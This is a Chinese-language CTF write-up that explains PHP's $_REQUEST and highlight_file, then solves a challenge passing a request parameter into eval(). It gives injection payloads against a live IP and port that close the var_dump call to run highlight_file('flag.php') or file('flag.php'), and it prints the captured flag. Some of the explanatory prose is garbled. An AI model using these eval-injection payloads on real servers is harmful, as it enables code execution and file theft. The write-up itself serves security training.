在PHP中,$_REQUEST是一个关联数组,包含了HTTP请求参数(GET、POST和COOKIE)中的所有变量。虽然它为开发人员提供了方便,但如果不正确使用,也会引起安全问题,例如以下一些漏洞:
$_REQUEST
函数是一个用于访问 GET
,POST
和 COOKIE
三个数组的超全局变量。它可以用于从客户端收集用户提交的数据。
,_GET,_COOKIE 相似。它接收一个字符串参数,指定所需的变量,然后返回该变量的值。与 _POST 不同的是,
以下是一个使用 $_REQUEST
函数的示例:
<html>
<body>
<form method="post" action="<?php echo $_SERVER['PHP_SELF'];?>">
Name: <input type="text" name="name">
<br><br>
<input type="submit" value="Submit">
</form>
<?php
if ($_SERVER["REQUEST_METHOD"] == "POST") {
// collect value of input field
$name = $_REQUEST['name'];
if (empty($name)) {
echo "Name is empty";
} else {
echo $name;
}
}
?>
</body>
</html>
上面的代码中,当用户提交表单时,会使用 $_REQUEST
函数获取输入字段的值。如果输入字段为空,则输出 “Name is empty”,否则输出输入字段的值。
需要注意的是,_GET,_COOKIE 函数。
highlight_file
函数用于将PHP文件的语法高亮显示输出。它将使用不同颜色和字体样式来显示PHP代码的各个部分,使其更易于阅读和理解。
函数语法:highlight_file(return = false);
其中,参数return用于控制函数的输出方式,默认值为false。
如果return参数设置为true,则highlight_file函数将返回高亮显示后的PHP代码字符串,而不会直接输出到浏览器。
示例代码:
<?php
// 将 PHP 文件高亮显示
highlight_file('test.php');
?>
此代码将读取名为test.php
的文件,将其语法高亮显示并输出到浏览器。
打开题目审计源码
<?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);
?>
进行全局变量查看
http://114.67.175.224:11286/?hello=$GLOBALS
说明flag不是变量,应该就在flag.php里头被注释了
解法一:构造闭合
http://114.67.175.224:11286/?hello=);highlight_file('flag.php');var_dump(
解法二:使用文件读取函数
http://114.67.175.224:11286/?hello=file(%27flag.php%27)
得到flag:flag{34ad156d7d51f9372d7a08f120fad059}